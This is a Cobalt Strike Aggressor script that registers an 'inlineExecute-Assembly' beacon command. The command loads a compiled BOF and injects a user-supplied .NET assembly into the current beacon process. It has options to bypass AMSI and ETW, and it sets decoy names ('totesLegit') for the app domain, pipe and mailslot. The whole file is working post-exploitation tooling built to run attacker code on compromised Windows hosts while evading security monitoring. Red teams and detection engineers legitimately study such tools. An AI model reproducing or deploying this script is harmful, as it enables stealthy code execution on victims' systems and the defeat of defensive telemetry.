Files
2021-07-08 12:48:15 -05:00

374 lines
12 KiB
Plaintext

#Register command
beacon_command_register(
"inlineExecute-Assembly",
"Load CLR if not already loaded and inject .NET assembly into current beacon process. Avoids creating a new sacraficial process via fork and run technique",
"Synopsis: inlineExecute-Assembly --dotnetassembly /path/to/Assembly.exe --assemblyargs My Args To Pass --amsi --etw");
global('$etw $amsi $appDomain $version');
#Global vars don't change
$etw = 0;
$revertETW = 0;
$amsi = 0;
$mailSlot = 0;
$entryPoint = 1;
#Default values set here - if you don't want to use flags to change -> change here
$appDomain = "totesLegit";
$pipeName = "totesLegit";
$mailSlotName = "totesLegit";
alias inlineExecute-Assembly {
#-------------------------------------- Extract/Parse Arguments --------------------------------------#
$data = substr($0, 23);
@args = split(' ', $data);
local('$_amsi $_etw $_revertETW $_appDomain $_dotNetAssembly $_version $_assemblyargs $_assemblyWithArgs $_entryPoint $_mailSlot $_mailSlotName $_mailSlotNameArgs $_pipeName $_pipeNameArgs');
$_amsi = "";
$_etw = "";
$_revertETW = "";
$_mailSlot = "";
$_mailSlotName = "";
$_mailSlotNameArgs = "";
$_pipeName = "";
$_pipeNameArgs = "";
$_entryPoint = "";
$_appDomain = "";
$_appDomainArgs = "";
$_dotNetAssembly = "";
$_dotNetAssemblyArgs = "";
$_assemblyWithArgs = "";
@CliOptions = @("--amsi", "--etw", "--revertetw", "--dotnetassembly", "--assemblyargs", "--appdomain", "--pipe", "--mailslot", "--main");
for ($i = 0; $i < size(@args); $i++){
if (@args[$i] iswm "--etw"){
$_etw = 1;
}else if (@args[$i] iswm "--amsi"){
$_amsi = 1;
}else if (@args[$i] iswm "--revertetw"){
$_revertETW = 1;
}else if (@args[$i] iswm "--main"){
$_entryPoint = int(0);
}else if (@args[$i] iswm "--dotnetassembly"){
$i = $i + 1;
$_dotNetAssembly = @args[$i];
}else if (@args[$i] iswm "--assemblyargs"){
$i = $i + 1;
$count = 0;
for ($j = $i; $j < size(@args); $j++){
if(@args[$j] in @CliOptions){
break;
}else{
@_dotNetAssemblyArgs[$count] = @args[$j];
#Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces).
if(('"' isin @_dotNetAssemblyArgs[$count] || "'" isin @_dotNetAssemblyArgs[$count])){
$k = 0;
$j = $j + 1;
for($k = $j; $k < size(@args); $k++){
if(lindexOf(@_dotNetAssemblyArgs[$count], '"') == (strlen(@_dotNetAssemblyArgs[$count]) - 1) || lindexOf(@_dotNetAssemblyArgs[$count], "'") == (strlen(@_dotNetAssemblyArgs[$count]) - 1)){
$k = $k - 1;
break;
}
if('"' isin @args[$k] || "'" isin @args[$k]){
@_dotNetAssemblyArgs[$count] = @_dotNetAssemblyArgs[$count]." ".@args[$k];
break;
}else{
@_dotNetAssemblyArgs[$count] = @_dotNetAssemblyArgs[$count]." ".@args[$k];
}
}
$j = $k;
$i = $k;
}
$count = $count + 1;
}
}
}else if (@args[$i] iswm "--appdomain"){
$i = $i + 1;
$count = 0;
for ($j = $i; $j < size(@args); $j++){
if(@args[$j] in @CliOptions){
break;
}else{
@_appDomain[$count] = @args[$j];
#Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces).
if(('"' isin @_appDomain[$count] || "'" isin @_appDomain[$count])){
$k = 0;
$j = $j + 1;
for($k = $j; $k < size(@args); $k++){
if(lindexOf(@_appDomain[$count], '"') == (strlen(@_appDomain[$count]) - 1) || lindexOf(@_appDomain[$count], "'") == (strlen(@_appDomain[$count]) - 1)){
$k = $k - 1;
break;
}
if('"' isin @args[$k] || "'" isin @args[$k]){
@_appDomain[$count] = @_appDomain[$count]." ".@args[$k];
break;
}else{
@_appDomain[$count] = @_appDomain[$count]." ".@args[$k];
}
}
$j = $k;
$i = $k;
}
$count = $count + 1;
}
}
}else if (@args[$i] iswm "--mailslot"){
$_mailSlot = 1;
$i = $i + 1;
$count = 0;
for ($j = $i; $j < size(@args); $j++){
if(@args[$j] in @CliOptions){
break;
}else{
@_mailSlotName[$count] = @args[$j];
#Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces).
if(('"' isin @_mailSlotName[$count] || "'" isin @_mailSlotName[$count])){
$k = 0;
$j = $j + 1;
for($k = $j; $k < size(@args); $k++){
if(lindexOf(@_mailSlotName[$count], '"') == (strlen(@_mailSlotName[$count]) - 1) || lindexOf(@_mailSlotName[$count], "'") == (strlen(@_mailSlotName[$count]) - 1)){
$k = $k - 1;
break;
}
if('"' isin @args[$k] || "'" isin @args[$k]){
@_mailSlotName[$count] = @_mailSlotName[$count]." ".@args[$k];
break;
}else{
@_mailSlotName[$count] = @_mailSlotName[$count]." ".@args[$k];
}
}
$j = $k;
$i = $k;
}
$count = $count + 1;
}
}
}else if (@args[$i] iswm "--pipe"){
$i = $i + 1;
$count = 0;
for ($j = $i; $j < size(@args); $j++){
if(@args[$j] in @CliOptions){
break;
}else{
@_pipeName[$count] = @args[$j];
#Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces).
if(('"' isin @_pipeName[$count] || "'" isin @_pipeName[$count])){
$k = 0;
$j = $j + 1;
for($k = $j; $k < size(@args); $k++){
if(lindexOf(@_pipeName[$count], '"') == (strlen(@_pipeName[$count]) - 1) || lindexOf(@_pipeName[$count], "'") == (strlen(@_pipeName[$count]) - 1)){
$k = $k - 1;
break;
}
if('"' isin @args[$k] || "'" isin @args[$k]){
@_pipeName[$count] = @_pipeName[$count]." ".@args[$k];
break;
}else{
@_pipeName[$count] = @_pipeName[$count]." ".@args[$k];
}
}
$j = $k;
$i = $k;
}
$count = $count + 1;
}
}
}
}
#------------------------------------------------------------------------------------------------------#
#-------------------------------------- Appending .NET assembly arguments --------------------------------------#
#Appending .NET assembly arguments to $_assemblyWithArgs var (separated by " ")
for ($i = 0; $i < size(@_dotNetAssemblyArgs); $i++){
if (@_dotNetAssemblyArgs[$i] ne "") {
if ($_assemblyWithArgs ne "")
{
$_assemblyWithArgs = $_assemblyWithArgs." ".@_dotNetAssemblyArgs[$i];
}
else
{
$_assemblyWithArgs = @_dotNetAssemblyArgs[$i];
}
}
}
#---------------------------------------------------------------------------------------------------------------#
#-------------------------------------- Appending appDomain arguments --------------------------------------#
#Appending appDomain arguments to $_appDomainArgs var (separated by " ")
for ($i = 0; $i < size(@_appDomain); $i++){
if (@_appDomain[$i] ne "") {
if ($_appDomainArgs ne "")
{
$_appDomainArgs = $_appDomainArgs." ".@_appDomain[$i];
}
else
{
$_appDomainArgs = @_appDomain[$i];
}
}
}
#-------------------------------------- Appending mailSlotName arguments --------------------------------------#
#Appending mailSlot arguments to $_mailSlotNameArgs var (separated by " ")
for ($i = 0; $i < size(@_mailSlotName); $i++){
if (@_mailSlotName[$i] ne "") {
if ($_mailSlotNameArgs ne "")
{
$_mailSlotNameArgs = $_mailSlotNameArgs." ".@_mailSlotName[$i];
}
else
{
$_mailSlotNameArgs = @_mailSlotName[$i];
}
}
}
#-------------------------------------- Appending pipeName arguments --------------------------------------#
#Appending pipeName arguments to $_pipeNameArgs var (separated by " ")
for ($i = 0; $i < size(@_pipeName); $i++){
if (@_pipeName[$i] ne "") {
if ($_pipeNameArgs ne "")
{
$_pipeNameArgs = $_pipeNameArgs." ".@_pipeName[$i];
}
else
{
$_pipeNameArgs = @_pipeName[$i];
}
}
}
if ($_appDomainArgs eq "") {
$_appDomainArgs = $appDomain;
}
if ($_mailSlotNameArgs eq "") {
$_mailSlotNameArgs = $mailSlotName;
}
if ($_pipeNameArgs eq "") {
$_pipeNameArgs = $pipeName;
}
if ($_amsi == "") {
$_amsi = $amsi;
}
if ($_etw == "") {
$_etw = $etw;
}
if ($_revertETW == "") {
$_revertETW = $revertETW;
}
if ($_entryPoint ne int(0)) {
$_entryPoint = $entryPoint;
}
if ($_mailSlot == "") {
$_mailSlot = $mailSlot;
}
#---------------------------------------------------------------------------------------------------------------#
#-------------------------------------- Load BOF --------------------------------------#
# figure out the arch of this session
$barch = barch($1);
# read in the right BOF file
$handle = openf(script_resource("inlineExecute-Assembly $+ $barch $+ .o"));
$bof = readb($handle, -1);
closef($handle);
if(strlen($bof) < 1)
{
berror($1,"Error: BOF bin could not be found. Please ensure the compiled BOF (.o file) exists in the same folder as this aggressor script");
return;
}
#-----------------------------------------------------------------------------------------------#
#-------------------------------------- Error Handling --------------------------------------#
$assemblyPath = $_dotNetAssembly;
$bid = $1;
if ($assemblyPath eq "") {
berror($bid, "Run 'help inlineExecute-Assembly'\n");
return;
}
if (!-exists $assemblyPath || !-isFile $assemblyPath){
berror($bid, "File ".$assemblyPath." doesn't exist\n");
return;
}
#-----------------------------------------------------------------------------------------------#
#-------------------------------------- Convert .NET assembly to bytes --------------------------------------#
#Reading assembly bytes and get the size in bytes
$fileHandle = openf($_dotNetAssembly);
$assemblyLength = lof($_dotNetAssembly);
$assemblyBytes = readb($fileHandle, -1);
closef($fileHandle);
#---------------------------------------------------------------------------------------------------------------------#
#-------------------------------------- Package and ship it --------------------------------------#
# pack our arguments
$bofArgs = bof_pack($1, "ziiiiizzzib", $_appDomainArgs, $_amsi, $_etw, $_revertETW, $_mailSlot, $_entryPoint, $_mailSlotNameArgs, $_pipeNameArgs, $_assemblyWithArgs, $assemblyLength, $assemblyBytes);
# announce what we're doing
btask($1, "Running inlineExecute-Assembly by (@anthemtotheego)");
# execute it.
beacon_inline_execute($1, $bof, "go", $bofArgs);
clear(@_assemblyWithArgs);
clear(@_dotNetAssemblyArgs);
clear(@_appDomainArgs);
clear(@_appDomain);
clear(@_mailSlotNameArgs);
clear(@_mailSlotName);
clear(@_pipeNameArgs);
clear(@_pipeName);
#------------------------------------------------------------------------------------------------------------------------------#
}